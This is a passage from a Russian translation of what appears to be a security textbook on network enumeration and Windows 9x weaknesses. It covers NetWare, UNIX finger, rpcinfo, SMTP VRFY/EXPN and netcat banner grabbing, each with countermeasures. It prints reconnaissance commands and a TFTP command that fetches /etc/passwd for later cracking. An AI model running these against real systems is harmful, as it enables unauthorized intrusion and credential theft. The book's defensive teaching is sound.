        IN (1000,1,1050) DO sid2user \\acmepdcl 5 21
        1915163094

        1258472701648912389 %I » users.txt
        C:\>cat users.txt
        Name is IUSR_ACMEPDC1
        Domain is ACME
        Type of SID is SidTypeUser
        Name is MTS Trusted Impersonators
        Domain is ACME
        Type of SID is SidTypeAlias

        Полученные результаты можно сократить, подав их на вход фильтра и оставив таким образом лишь список имен пользователей. Конечно, среда написания сценариев не ограничивается лишь командной оболочкой системы NT. Для этих целей удобно пользоваться также языками Perl, VBScript или другими средствами. Еще стоит упомянуть о том, что с помощью приведенного сценария можно успешно извлечь список пользователей, если на исследуемом узле открыты TCP-порты 139 или 445, а также не установлено значение для параметра RestrictSnonymous.
        Имея под рукой всю информацию, собранную с помощью описанных на данный момент средств, взломщик может перейти к активному проникновению в систему NT, как описано в главе 5, либо в систему Win 2000, как вы увидите в главе 6.


        7. Инвентаризация Novell



        Инвентаризация Novell


        Система Windows NT/2000 не одинока в наличии такого "порока", как нулевой сеанс. У сетевой операционной системы Novell NetWare имеется еще более серьезная проблема. Она состоит в том, что NetWare практически не заботится о защите информации, предоставляя ее кому угодно без какой-либо аутентификации сервером или деревом. Серверы NetWare 3.x и 4.x (с включенным контекстом Bindery (связки)) имеют так называемый изъян "присоединения" (attach), позволяющий любому желающему получить информацию о серверах, деревьях, группах, принтерах и пользовательских именах без регистрации на каком-либо сервере. В данном разделе мы покажем на практике, как это сделать, а затем дадим рекомендации по устранению этих недостатков.


        8. Сетевое окружение



        Сетевое окружение


        Первый этап инвентаризации сети NetWare состоит в получении данных о соединенных друг с другом серверах и деревьях. Это можно сделать различными способами, однако проще всего воспользоваться средством Network Neighborhood систем Windows 95/98/NT. Эта удобная утилита просмотра сетевых ресурсов обеспечивает возможность опрашивания всех серверов NetWare и деревьев NDS, с которыми имеется физическое соединение (рис. 3.7), хотя необходимо отметить, что вы не сможете просмотреть структуру дерева, не зарегистрировавшись в самом дереве. Конечно, данный факт сам по себе не угрожает информации, однако он показывает, что если каждый шаг можно выполнить столь просто, то и вся дистанция не покажется такой уж сложной.



        Рис. 3.7. Для инвентаризации серверов и деревьев NetWare достаточно воспользоваться окном просмотра сетевого окружения Windows

        Соединения с использованием клиента Client32



        Программа управления службами Novell NetWare Services, представленная пиктограммой в системной области панели задач, позволяет управлять подключениями к NetWare с помощью команды NetWare Connections, как показано ниже.
        Эта возможность чрезвычайно полезна для управления подключениями к сети и регистрацией на сервере. Однако в то же время она и опасна, поскольку после создания подключения можно получить все дерево NDS с сервера, на котором оно хранится, номер соединения и полный сетевой адрес, включая адреса сети и узла, как показано на рис. 3.8.
        Эти сведения могут помочь при последующей установке соединения с сервером и получении административных привилегий (см. главу 7).




        Рис. 3.8. Утилита NetWare Connections отображает дерево NDS, в которое входит сервер, номер соединения и полный сетевой адрес, включая адреса сети и узла

        Просмотр серверов NetWare с помощью On-Site Admin



        Не проходя аутентификации ни на одном сервере, можно просмотреть состояние любого сервера сети, воспользовавшись утилитой Novell On-Site Admin (ftp://ftp.cdrom.com). Вместо широковещательной рассылки сообщений эта утилита отображает сведения о серверах, хранящиеся в локальном буфере утилиты просмотра сетевого окружения. Эта утилита периодически обновляет свой буфер, рассылая по сети широковещательные сообщения серверам' NetWare. На рис. 3.9 показан пример того, как много информации можно получить с помощью утилиты On-Site Admin.



        Рис. 3.9. Утилита On-Site Admin — наиболее мощное средство, позволяющее выполнить инвентаризацию сети NetWare

        Программа On-Site Admin позволяет выполнять также и анализ, как показано на рис. 3.10. Выбрав сервер и щелкнув на кнопке Analyze, можно получить исчерпывающую информацию о томе NetWare.
        Конечно, эта информация не потрясет основы мирозданья — она является лишь дополнением данных, полученных из различных источников. В процессе анализа утилита On-Site Admin устанавливает соединение с исследуемым сервером, что и продемонстрировано на следующей иллюстрации с помощью утилиты NetWare Connections.



        Рис. 3.10. Утилита On-Site Admin позволяет получить информацию о томе


        11.gif

        Изображение: 

        12.gif

        Изображение: 

        13.gif

        Изображение: 

        14.gif

        Изображение: 

        15.gif

        Изображение: 

        16.gif

        Изображение: 

        9. Просмотр дерева с помощью утилиты On-Site Admin



        Просмотр дерева с помощью утилиты On-Site Admin



        С помощью утилиты On-Site Admin можно также просмотреть всю информацию большинства деревьев NDS вплоть до их листьев. В этом случае клиент Client32 просто подключается к выбранному в дереве серверу (см. рисунок выше). Возможно это потому, что по умолчанию NetWare 4.x позволяет просматривать дерево любому желающему. Эту опасность можно устранить, добавив в корень дерева фильтр наследования прав (IRF — inheritance rights filter). Содержащаяся в дереве NDS информация является очень важной, поэтому нельзя разрешать просматривать ее кому попало, поскольку при его просмотре можно получить сведения о пользователях, группах, серверах и томах (рис. 3.11).



        Рис. 3.11. Утилита On-Site Admin позволяет просматривать информацию дерева NDS вплоть до его листьев

        Получив всю информацию, о которой говорилось в данном разделе, злоумышленник может перейти к активным действиям по проникновению в систему, о которых мы поговорим в главе 7.


        17.gif

        Изображение: 

        10. Инвентаризация UNIX



        Инвентаризация UNIX


        Большинство современных реализаций системы UNIX основываются на стандартных средствах обеспечения сетевой безопасности протокола TCP/IP. Благодаря этому они не так щедро раздают всем желающим информацию о сети, как система NT, в которой используется унаследованный от предыдущих версий интерфейс NetBIOS, или система NetWare, работа которой основывается на собственном механизме безопасности компании Novell. Естественно, это вовсе не означает, что система UNIX является неуязвимой, а ее сетевые ресурсы не могут подвергнутся инвентаризации. Все зависит от конфигурационных параметров системы. Например, службы RFC (Remote Procedure Call — удаленный вызов процедур), N1S (Network Information Service — сетевая информационная служба) и NFS (Network File System — сетевая файловая система), преимущества которых очень часто используют разработчики, являются излюбленными "мишенями" для взломщиков на протяжении уже многих лет. Ниже вы познакомитесь с некоторыми классическими методами инвентаризации UNIX (другими словами, старые и проверенные способы, которые, по-видимому, практически всегда будут срабатывать).
        Не забывайте о том, что большинство из описываемых в данном разделе приемов основывается на информации, полученной при сканировании портов и определении типа и версии операционной системы, о чем рассказывалось в предыдущих главах.

        Инвентаризация сетевых и совместно используемых ресурсов UNIX



        Лучшими источниками информации о сети UNIX являются базовые методы исследования стека протоколов TCP/IP, которые рассматривались в главе 2. Среди других средств можно выделить утилиту showmount, которую можно использовать для инвентаризации экспортируемых в сети файловых систем NFS. Например, предположим, что в результате сканирования стало известно, что на исследуемом компьютере в состоянии ожидания запросов находится порт 2049 (NFS). В этом случае с помощью утилиты showmount можно выяснить, какие именно каталоги являются совместно используемыми.

        showmount -e 192.168.202.34
        export list for 192.168.202.34:
        /pub (everyone)
        /var (everyone)
        /usr user

        Использование параметра -е позволяет получить список экспортируемых файловых систем сервера NFS. К сожалению, архитектура NFS в данном случае не позволяет противопоставить каких-либо защитных мер запросам такого рода. Можно лишь посоветовать, чтобы доступ к экспортируемой файловой системе выполнялся в соответствии с установленными разрешениями (операции чтения и записи должны быть разрешены только для строго определенных узлов), а доступ к NFS блокировался бы извне с помощью брандмауэра (порт 2049). Запросы утилиты showmount тоже можно регистрировать в системе. Это облегчает обнаружение взломщика.
        Сейчас в мире UNIX система NFS является не единственным примером программного обеспечения, с помощью которого обеспечивается совместное использование данных. В настоящее время возрастает популярность пакета Samba, разработанного в рамках модели открытого кода. Этот пакет обеспечивает клиентам SMB возможность совместного использования файлов и принтеров. Как уже упоминалось, протокол SMB (Server Message Block) представляет собой основу для работы в сети клиентов Windows. Пакет Samba можно получить по адресу http://www.samba.org (его можно найти в комплекте поставки большинства версий операционной системы Linux). Хотя в файле настройки сервера Samba (/etc/smb.conf) используются довольно простые параметры обеспечения безопасности, необходимо относится к ним внимательно, поскольку их неправильная настройка может привести к нарушению защиты совместно используемых сетевых ресурсов.
        Еще одним потенциальным источником информации о сети UNIX является служба NIS. Она служит ярким примером плохой реализации хорошей идеи (поддержка распределенной базы данных сетевой информации). С точки зрения обеспечения безопасности основной проблемой службы NIS является то, что, узнав доменное имя сервера NIS, с помощью простого запроса RPC можно получить любую из карт NIS (тар). Карты NIS — это файлы данных, в которых содержится важная информация каждого узла домена, например содержимое файлов паролей. Традиционное проникновение в сеть с использованием службы NIS предусматривает применение клиента N1S для попытки подбора доменного имени. Для достижения этой цели может служить и утилита pscan, написанная хакером Плювиусом (Pluvius). Ее можно найти во многих хакерских архивах Internet. Для того чтобы с помощью утилиты pscan получить всю необходимую информацию, ее необходимо запустить с параметром -n.
        Если вы используете службу NIS, то, по крайней мере, не применяйте легко угадываемое доменное имя (в котором используется название компании, имя DNS и т.д.). Подобрав доменное имя, хакер без труда может получить всю необходимую информацию, включая базу данных паролей. Если вы не планируете переходить на использование службы NIS+ (которая поддерживает режим шифрования данных и аутентификации через защищенные запросы RPC), то хотя бы отредактируйте файл /var/yp/securenets и ограничьте доступ к определенным узлам и сетям, либо откомпилируйте утилиту ypserv с включенной поддержкой TCP-оболочек. Кроме того, не помещайте в таблицы NIS информацию о системной записи root и других системных учетных записях.
        Как уже отмечалось в предыдущих разделах этой главы, протокол SNMP позволяет взломщикам получить много важной информации о системе UNIX, в которой запущен агент SNMP. Если в сети используются строки доступа, заданные по умолчанию, то в процессе сбора данных чрезвычайно полезной может оказаться утилита snmpwalk, входящая в состав утилит SNMP многих систем UNIX.

        Инвентаризация пользователей  и групп UNIX



        Возможно, самым старым приемом инвентаризации учетных записей пользователей, описанных в данной книге, является утилита finger. Эта утилита предоставляла простой и удобный способ получения информации о пользователях удаленного узла еще в те времена, когда сеть Internet не была настолько большой и простой в использовании. Мы упоминаем здесь об этой утилите в основном для того, чтобы акцентировать ваше внимание на основных способах ее использования. Многие средства проникновения в сеть по-прежнему базируются на использовании этой утилиты, поскольку нерадивые системные администраторы зачастую запускают системный процесс fingerd без каких-либо мер обеспечения безопасности. Как и прежде, мы предполагаем, что в процессе сканирования портов была получена информация о том, что на исследуемом узле запущена служба finger (порт 79).

        [root$]finger -I @target.hackme.com
        [target.hackme.com]
        Login: root Name: root
        Directory: /root Shell: /bin/bash
        On since Sun Mar 28 11:01 (PST) on ttyl 11 minutes idle
        (messages off)
        On since Sun Mar 28 11:01 (PST) on ttypO from :0.0
        3 minutes 6 seconds idle
        No mail.
        Plan:
        John Smith Security Guru Telnet password is my birthdate.

        Команда finger 0@имя-узла также позволяет получить интересный результат. 

        [root$]finger 00192.168.202.34
        [192.168.202.34]
        Line User Host(s) Idle Location
        * 2 vty 0 idle 0 192.168.202.14
        SeO Sync PPP 00:00:02

        Как легко заметить, большая часть информации, которая отображается утилитой finger, не имеет особого значения (она выбирается из соответствующих полей файла /etc/password). Можно сказать, что с точки зрения безопасности самой опасной является информация об именах пользователей, зарегистрированных в системе, а также о времени, в течение которой пользователь не выполняет каких-либо операций (idle). Это поможет хакеру определить, кто в данный момент "присматривает" за машиной (возможно, пользователь root?) и насколько внимательно он это делает. Некоторая дополнительная информация может использоваться при попытке проникновения в сеть с помощью приемов социальной инженерии. (Социальная инженерия (social engineering) — термин из словаря хакера, обозначающий попытку с помощью психологических приемов установить контакт с нужными людьми с целью получения от них информации для проникновения в систему. Более подробная информация об этом содержится в главе 14, "Расширенные методы".) Как показано в этом примере, пользователи, которые помещают в свой рабочий каталог файлы .plan или .project, могут дать очень хорошую наводку хакеру (содержимое этих файлов выводится командой finger).
        Обнаружить и устранить подобную утечку информации очень просто. Достаточно не запускать демон fingerd (для этого нужно закомментировать соответствующую строку в файле inetd.conf и выполнить команду killall -HUP inetd), а также заблокировать порт 79 на брандмауэре. Если вам по каким-то причинам все же необходимо иметь доступ к программе finger, используйте TCP-оболочки (см. главу 8, "Хакинг UNIX"), чтобы ограничить доступ к узлу и регистрировать все соответствующие события. Можно также воспользоваться модифицированным демоном finger, предоставляющим ограниченное количество информации.
        Существуют также и другие, менее популярные утилиты, например rusers и rwho. Как и в случае с программой finger, от них лучше отказаться (обычно эти утилиты запускаются независимо от демона inetd). Поищите в файлах загрузки ссылки на файлы rpc.rwhod и rpc.rusersd). Утилита rwho возвращает перечень пользователей, которые в данный момент зарегистрированы на удаленном узле,

        rwho 192.168.202.34
        root localhost:ttypO Apr 11 09:21
        jack beanstalk:ttypl Apr 10 15:01
        jimbo 192.168.202.77:ttyp2 Apr 10 17:40

        При использовании параметра -1 утилита rusers позволяет получить более подробную информацию. Кроме сведений о пользователях она предоставляет данные о времени, прошедшем после последнего нажатия пользователем клавиш на клавиатуре,

        rusers -1 192.168.202.34
        root 192. 168..202.34:ttyl Apr 10 18:58 :51
        root 192.168.202.34:ttypO Apr 10 18:59 :02 (:0.0)

        Еще один классический метод инвентаризации основан на использовании универсального средства почтовой доставки Internet — протокола SMTP (Simple Mail Transfer Protocol). Этот протокол поддерживает две встроенные команды, которые позволяют выполнять инвентаризацию пользовательских учетных записей. Команда VRFY подтверждает, что введенное имя имеется в системе, а команда EXPN отображает реальный адрес доставки письма вместо псевдонима или списка рассылки. Хотя в настоящее время многие компании и так достаточно свободно предоставляют информацию об электронных адресах, разрешение подобной деятельности на почтовом сервере может дать взломщику ценную информацию о пользователях, а также предоставить ему возможность фальсификации.

        telnet 192.168.202.34 25
        Trying 192.168.202.34...
        Connected to 192.168.202.34.
        Escape character is -'^]'.
        220 mail.bigcorp.com ESMTP Sendmail
        8.8.7/8.8.7; Sun, 11 Apr 1999
        10:08:49 -0700
        vrfy root
        250 root <root@bigcorp.com>
        expn adm
        250 adm <adm@bigcorp.com>
        quit
        221 mail.bigcorp.com closing connection

        Это еще один пример того, что нужно всегда помнить о старых хакерских приемах и вовремя отключать соответствующие режимы. Популярная программа sendmail, предназначенная для обмена информацией с использованием протокола SMTP (http://www.sendmail.org), начиная с версии 8, поддерживает синтаксис, который позволяет поместить в файл mail.cf параметры, запрещающие подобные команды или требующие аутентификации. Другие реализации SMTP-сервера должны предоставлять аналогичные возможности. Если это не так, замените программу!
        Конечно, самым старым и излюбленным приемом хакеров UNIX является попытка получения файла /etc/passwd, о чем мы подробно будем говорить в главе 8., "Хакинг UNIX". Сейчас же необходимо отметить, что один из наиболее популярных методов получения этого файла состоит в использовании протокола TFTP (Trivial File Transfer Protocol — простой протокол передачи файлов).

        tftp 192.168.202.34
        tftp> connect 192.168.202.34
        tftp> get /etc/passwd /tmp/passwd.cracklater
        tftp> quit

        Помимо того, что в данном примере взломщику удалось получить файл паролей, которые он может попытаться взломать в любой момент, прямо из этого файла он может получить информацию о пользователях. Решение данной проблемы состоит в том, чтобы вообще отказаться от протокола TFTP. В тех же случаях, когда это действительно необходимо, упаковывайте передаваемые по этому протоколу пакеты данных, ограничьте доступ к каталогу /tftpboot и убедитесь, что протокол заблокирован на уровне пограничного брандмауэра.

        Инвентаризация приложений и идентификационных маркеров



        Как и любой другой сетевой ресурс, приложения должны иметь возможность обмениваться друг с другом информацией по сети. Одним из самых популярных протоколов, разработанных для обеспечения этого процесса, является протокол RPC (Remote Procedure Call). На основе RPC работает программа rpcbind, основная задача которой состоит в посредничестве между запросами клиентов и портами, которые эта программа динамически назначает находящимся в режиме ожидания приложениям. Несмотря на постоянную головную боль, которую много лет вызывают у администраторов брандмауэров подобные программы, служба RPC остается чрезвычайно популярным механизмом. Существует утилита rpcinfo, которая, подобно программе finger, может применяться для инвентаризации приложений RPC, находящихся в состоянии ожидания запроса на удаленном узле. Обычно для того чтобы воспользоваться этой утилитой, во время сканирования достаточно установить, что открыт порт 111 (rcbind) или 32771 (вариант утилиты от компании Sun).

        rpcinfo -p 192.168.202.34
        program vers proto port
        100000 2 tcp 111 rpcbind
        100002 3 udp 712 rusersd
        100011 2 udp 754 rquotad
        100005 I udp 635 mountd
        100003 2 udp 2049 nfs
        100004 2 tcp 778 ypserv

        Из полученных результатов можно заключить, что на данном узле запущен системный процесс rusersd, программное обеспечение служб NFS и NIS (ypserv — сервер службы NIS). Таким образом, с помощью команд rusers, shomount -e и pscan -n можно попытаться получить более подробную информацию. Кроме того, для инвентаризации можно также воспользоваться утилитой pscan (упоминавшейся выше) с параметром -г.
        Утилиту, аналогичную rpcinfo, можно применять и в системе Windows NT. Эта утилита, написанная Дэвидом Литчфилдом (David Litchfield) называется rpcdump. Как видно из следующего примера, утилита rpcdump ведет себя аналогично rpcinfo с параметром -р.

        D:\Toolbox>rpcdump 192.168.202.105
        Program no. Name Version Protocol Port
        (100000) portmapper 4 TCP 111
        (100000) portmapper 3 TCP 222
        (100001) rstatd 2 UDP 32774
        (100021) nlockmgr 1 UDP 4045

        Существует и несколько других приемов использования службы RPC, с помощью которых хакеры могут получать требуемую информацию. Так, в системе Solaris компании Sun используется вторая утилита, необходимая для работы с портами с номерами выше 32771. Следовательно, модифицированная версия утилиты rpcinfo при обращении к этому порту позволит получить приведенную выше информацию, даже если порт 111 заблокирован.
        Хотя лучший инструмент RFC-сканирования из всех, которые нам доводилось видеть, входит в состав коммерческого пакета CyberCop Scanner компании Network Associates, Inc., для поиска определенных приложений RPC хакер может воспользоваться бесплатной утилитой rpcinfo со специальными параметрами. Например, для того чтобы проверить, работает ли на исследуемом компьютере по адресу 192.168.202.34 сервер TTDB (ToolTalk Database), известный своей уязвимостью (см. главу 8), можно воспользоваться следующей командой.
         rcpinfo -n 32771 -t 192.168.202.34 100083
        В службе RPC серверу TTDB соответствует программный номер 100083.
        Самый простой способ воспрепятствовать такой утечке информации, —предусмотреть тот или иной механизм аутентификации, применяемый со службой RPC (более подробные сведения об имеющихся возможностях можно получить из документации). Второй метод состоит в использовании пакета, подобного Secure RPC компании Sun, который обладает встроенными средствами аутентификации, базирующимися на криптографическом механизме с использованием открытого ключа. Наконец, обязательно убедитесь в том, что порты 111и32771 (rpcbind) фильтруются на уровне брандмауэра.
        Как уже упоминалось в предыдущем разделе, посвященном методам инвентаризации Windows NT, классический способ проведения инвентаризации приложений практически любой системы состоит в подключении к порту, о котором известно, что он находится в состоянии ожидания запросов. Это можно осуществить с помощью утилит telnet или netcat. Мы не будем снова подробно рассматривать эти же вопросы, а лишь остановимся на некоторых полезных функциях netcat, которые вкратце описаны в файлах, поставляемых с самой утилитой. Например, попробуйте перенаправить вывод специального текстового файла на вход netcat, чтобы попытаться получить более подробную информацию. Создайте файл nudge. txt, содержащий одну-единственную строку GET / HTTP/1.0 и два символа перевода строки, а затем, запустите следующую команду.

        nc -nw -о banners.txt
        192.168.202.34 80 < nudge.txt

        HTTP/1.0 200 OK
        Server: Sun_WebServer/2.0
        Date: Sat, 10 Apr 1999 07:42:59 GMT
        Content-Type: text/html
        Last-Modified: Wed, 07 Apr 1999 15:54:18
        GMT
        ETag: "370a7fbb-2188-4"
        Content-Length: 8584
        <HTML> <HEAD>
        <META NAME="keywords"
        CONTENT="BigCorp, hacking, security">
        <META NAME="description"
        CONTENT»"Welcome to BigCorp's Web site.
        BigCorp is a leading manufacturer of security holes.">
        <TITLE>BigCorp Corporate Home Page</TITLE>
        </HEAD>



        Рис. 3.12. Команда Crawl Website программы Sam Spade позволяет с минимальными усилиями выполнить поиск интересующей информации в коде HTML всех страниц Web-узла

        Если в качестве параметра утилиты netcat используется IP-адрес исследуемого компьютера, то нужно указать также параметр -n.
        Известны ли вам хорошие методы проникновения в Webserver 2.0 компании Sun? Тогда вперед! Другими примерами содержимого такого текстового файла являются строки HEAD /HTTP/1.0<cr><cr>, QUiT<cr>, HELP<cr>, ECHO <cr> и даже просто пара символов перевода строки (<сr>).
        Необходимо также отметить, что немало "лакомых кусочков" информации можно найти в исходном HTML-коде Web-страниц. Одним из наших любимых инструментов для проверки целых Web-узлов (а также для выполнения других не менее полезных функций) является утилита Sam Spade компании Blighty Design (http://www.blighty. com/products/spade). На рис. 3.12 показано, как программа Sam Spade может проверить весь Web-узел в поисках заданной информации, например слова password.

        Контрмеры против сбора идентификационных маркеров



        Конечно, мы коснулись лишь нескольких из самых популярных приложений, поскольку ограничения по времени и объему не позволяют нам подробнее рассмотреть все многообразие существующего сетевого программного обеспечения. Однако, отталкиваясь от описанных в данном разделе общих подходов, необходимо по крайней мере "заткнуть рот" слишком "болтливым" приложениям вашей сети. Дополнительные сведения об устранении имеющихся изъянов можно поискать на Web-узле канадской консультационной компании PGCI. специализирующейся в области защиты информации, по адресу http://www.pgci.ca/p_fingerprint.html. Помимо интересной дискуссии о защите от попыток выявления типа и версии операционной системы (см. главу 2), на этом Web-узле приведены сведения о контрмерах, позволяющих предотвратить инвентаризацию идентификационных маркеров с помощью таких средств как программы sendmail, telnet, и протокол FTP. Там же вы найдете список адресов других Web-серверов, на которых содержится аналогичная информация.


        18.gif

        Изображение: 

        11. Резюме



        Резюме


        Если не считать времени, информация — это наиболее мощное оружие, которое может попасть в распоряжение хакера. К счастью, эта же информация может пригодиться и при обеспечении безопасности. В этой главе вы познакомились с несколькими источниками утечки информации, используемыми хакерами, а также узнали о некоторых способах устранения подобных проблем, вкратце перечисленных ниже.

        •  Фундаментальная архитектура операционных систем. Протоколы .SMB, CIFS и NetBIOS системы Windows NT весьма упрощают задачу получения информации о пользователях, предоставляемых ресурсах файловых систем и приложениях. Ограничьте доступ к TCP-портам с номерами 139 и 445, а также установите значение параметра RestrictAnonymous системного реестра, как описано в начале данной главы. Не забывайте также о том, что в системе Win 2000 устранены далеко не все недостатки. Напротив, в ней появились новые возможности получения ценной информации от службы активного каталога. То же самое относится и к архитектуре системы Novell NetWare. Эта система также позволяет получить подобную информацию любому желающему, так что для обеспечения безопасности нужно прилагать определенные усилия.
        •  SNMP. Этот протокол специально разрабатывался для предоставления как можно более подробной информации и облегчения управления сетями масштаба предприятия. Именно поэтому неправильно настроенный агент SNMP, использующий строки доступа по умолчанию, например public, может выдать несанкционированному пользователю очень много не подлежащих разглашению данных.
        •  Приложения. Утилиты finger и rpcbind являются хорошими примерами программ, которые предоставляют слишком подробную информацию. Кроме того, многие приложения по первому требованию неосмотрительно предъявляют идентификационные маркеры, содержащие номер версии и название компании-разработчика. Запретите использование приложений, подобных finger, используйте защищенную службу RPC, или TCP-оболочки. И наконец, узнайте у разработчика, как отключить режим предоставления идентификационных маркеров!
        •  Брандмауэр. Многие источники утечки информации можно выявить с помощью брандмауэра. Это вовсе не означает, что при наличии в сети брандмауэра можно не уделять внимания вопросам защиты на уровне отдельных компьютеров. Брандмауэр позволяет значительно снизить риск проникновения в сеть лишь при условии комплексного подхода к обеспечению безопасности.


        Глава 4. Уязвимость Windows 95/98/ME



        Глава 4. УЯЗВИМОСТЬ WINDOWS 95/98/ME




          1. Уязвимость Windows 95/98/ME



          Уязвимость WINDOWS 95/98/ME


          Самое важное, что должен знать администратор сети или конечный пользователь Windows 95/95B/98/98SE (далее — Win 9х), — это то, что при проектировании данной операционной системы вопросам безопасности не уделялось большое внимание, в отличие от ее "двоюродной сестры" Windows NT/2000. По существу складывается впечатление, что при планировании архитектуры Win 9x компания Microsoft везде, где только было можно, пожертвовала безопасностью в угоду простоте использования.
          Такой подход представляет собой двойную угрозу для администраторов, а также пользователей, которых волнуют вопросы безопасности. Вторая проблема заключается не в простоте настройки операционной системы Win Эх, а в том, что те, кто ее настраивает, как правило, не принимают всех должных мер предосторожности (например, выбор хорошего пароля).
          Более того, неосведомленный пользователь может, сам того не зная, предоставить потайной ход в корпоративную сеть своей организации или хранить важную информацию на домашнем компьютере, подключенном к Internet. С развитием высокоскоростных кабельных линий связи, обеспечивающих круглосуточное подключение, эта проблема только обостряется. Независимо от того, являетесь ли вы администратором Win Эх или же используете эту систему для просмотра ресурсов Internet и доступа к сети компании из дома, вам необходимо понимать, какие средства и методы могут быть применены против вас.
          К счастью, простота Win Эх имеет и обратную сторону. В каком-то смысле можно сказать, что эта простота обеспечивает безопасность системы. Поскольку Win 9x не является по-настоящему многопользовательской операционной системой, она поддерживает чрезвычайно малый набор возможностей удаленного администрирования. В частности, с использованием встроенных средств Win Эх невозможно осуществить удаленный запуск команд, а удаленный доступ к системному реестру Win Эх возможен только в том случае, если запрос сначала прошел через сервер безопасности, такой как Windows NT/2000 или Novell NetWare. Такой подход называется защитой на уровне пользователей (user-level security), в отличие от используемого по умолчанию подхода Win 9x, обеспечивающего защиту на уровне совместно используемых ресурсов (share-level security) с помощью паролей/имени пользователя (Win 9x не может выполнять функции сервера аутентификации на уровне пользователей).
          Таким образом, в распоряжении взломщика остается лишь два метода проникновения в систему Win 9x — заставить оператора так или иначе выполнить нужный взломщику программный код или получить физический доступ к системной консоли. Поэтому материал данной главы состоит из двух разделов, первый из которых посвящен методам удаленного проникновения, а второй — методам локального проникновения.
          В конце главы мы кратко рассмотрим средства защиты новой версии флагмана программных продуктов компании Microsoft, Windows Millenium Edition (ME). Рискуя немного испортить впечатление, мы все же вынуждены сказать, что те из пользователей, кто заинтересован в реальной защите, должны всерьез подумать о переходе на систему Windows 2000, а не на ME. В составе Win 2000 имеются все средства, способные значительно повысить стабильность ее работы и уровень защиты, в чем так нуждаются начинающие пользователи.

          Win 9x по праву считается системой, предназначенной для конечного пользователя. Зачастую самый простой способ проникновения в такую систему заключается в анализе данных Web или почтовых сообщений, передаваемых пользователю, а не в использовании средств самой операционной системы. В связи с этим мы настоятельно рекомендуем познакомиться с главой 16.


          2. Удаленное проникновение



          Удаленное проникновение


          Методы удаленного проникновения в систему Win 9x условно можно разделить на четыре категории: прямое подключение к совместно используемому ресурсу (в том числе и ресурсам удаленного доступа); установка фонового сервера, предназначенного для создания "потайного хода''; использование известных изъянов приложений; генерация условия DoS (denial of service — отказ в обслуживании). Необходимо отметить, :о для реализации трех из перечисленных методов требуется, чтобы либо система была настроена неправильно, либо ее пользователь не имел практически никаких навыков администрирования. Ввиду того что такие ситуации случаются крайне редко, противостоять попыткам удаленного проникновения в общем случае довольно легко.


          3. Прямое подключение к совместно используемым ресурсам Win 9x



          Прямое подключение к совместно используемым ресурсам Win 9x


          Этот метод проникновения в удаленную систему Win 9x является самым очевидным и легко осуществимым. Win 9x поддерживает три способа получения прямого доступа к системе: путем подключения к совместно используемым файлам и принтерам; через компонент сервера удаленного доступа (по умолчанию не устанавливается); посредством удаленного манипулирования системным реестром. Последний способ требует специальной настройки и знания системы зашиты на уровне пользователей, т то за пределами корпоративных сетей случается крайне редко.
          Что касается первого метода проникновения, то он основывается на получении сведений, передаваемых удаленным пользователем при его подключении к совместно используемому ресурсу компьютера, работающего под управлением Win 9х. Поскольку пользователи часто используют одни и те же пароли, такая информация может облегчить получение доступа и к самой системе. Более того, это может привести к проникновению в другие системы сети.

          Хзкинг совместно используемых файлов и принтеров Win 9x



          Мы не знаем ни одного метода, с помощью которого можно было бы извлечь хоть какую-то пользу от доступа к совместно используемому принтеру Win 9x, поэтому посвятим оставшуюся часть раздела исключительно проблеме доступа к совместно 'используемым файлам Win 9x.
          При рассмотрении инструментальных средств и методов, которые могут использоваться взломщиками для сканирования сетей в поиске совместно используемых ресурсов Windows (см. главу 3) отмечалось, что некоторые из них также обладают возможностью подбора пароля для получения доступа к выявленным ресурсам. Одной из таких утилит является уже известная нам программа Legion. Помимо обеспечения сканирования заданного диапазона IP-адресов в поисках совместно используемых ресурсов Windows, Legion также содержит средство взлома паролей (средство BF). с помощью которого можно попытаться подобрать пароль по списку, содержащемуся в текстовом файле, и автоматически подключиться, если попытка завершилась удачно. Аббревиатура BF означает "brute force", т.е. взлом, однако более корректно называть эту функцию "подбором пароля", так как она базируется на использовании списка паролей. Один совет: кнопка Save Text главного окна программы Legion предназначена для сохранения имен обнаруженных совместно используемых ресурсов в текстовом файле, что повышает удобство работы при вводе значения в поле Path окна Force Share (рис. 4.1).



          Рис. 4.1. Средство BF программы Legion позволяет подобрать пароль к совместно используемому ресурсу Windows

          Вред, который может нанести злоумышленник, получивший таким образом доступ к системе, зависит от каталога, к которому он подключился. Если в этом каталоге находятся файлы, критичные для безопасности, или же если данный ресурс представляет собой целый раздел жесткого диска (чем нередко грешат пользователи), то последствия могут оказаться поистине разрушительными. Взломщик может просто поместить выполняемый файл в каталог %systemroot%\Start Menu\Programs\Startup, и при последующей перезагрузке компьютера данная программа будет автоматически запущена без ведома пользователя. (Примеры программ, которые могут быть внедрены в систему таким образом, приведены в следующем разделе этой главы, посвященном одной из таких программ — Back Orifice). Наконец, в распоряжении хакера может оказаться файл PWL (об этом мы поговорим несколько позже).

          Контрмеры: защита от хакинга совместно используемых файлов



          Защититься от подобного нападения очень легко. Достаточно просто-напросто отключить режим совместного использования файлов на компьютере с Win 9x! Системным администраторам, в ведении которых находится много компьютеров, мы советуем использовать редактор системной политики (System Policy Editor) POLEDIT. EXE, с помощью которого можно запретить совместный доступ к файлам и принтерам на всех компьютерах сети. Программа POLEDIT . EXE, окно которой вы видите на рис. 4.2, входит в состав комплекта Windows 9x Resource Kit (далее — Win 9x RK). Найти ее можно в каталоге \tools\reskit\netadmin установочных компакт-дисков системы Win9x .
          Если вам все же необходимо разрешить совместное использование ресурсов, обязательно применяйте сложные пароли из восьми алфавитно-цифровых символов (к сожалению, в системе Win Эх — это максимальная длина пароля), а также метасимволов (т.е. [ ! @ # $ % &) и управляющих символов ASCII. Кроме того, имеет смысл добавить к имени совместно используемого ресурса символ $, как показано на рис. 4.3. чтобы это имя не отображалось в папке Network Neighborhood при использовании команды net view и даже в результатах, полученных в ходе сканирования сети с помощью утилиты Legion.



          Рис. 4.2. С использованием редактора системной политики Windows 9x администратор сети может запретить пользователям предоставлять ресурсы своих компьютеров для совместного или удаленного доступа



          Рис. 4.3. Набавив символ $ к имени совместно используемого ресурса, вы тем самым сделаете его "невидимым" в сетевом окружении, а также для многих утилит сканирования NetBIOS

          Повторное использование данных . аутентификации Win 9x



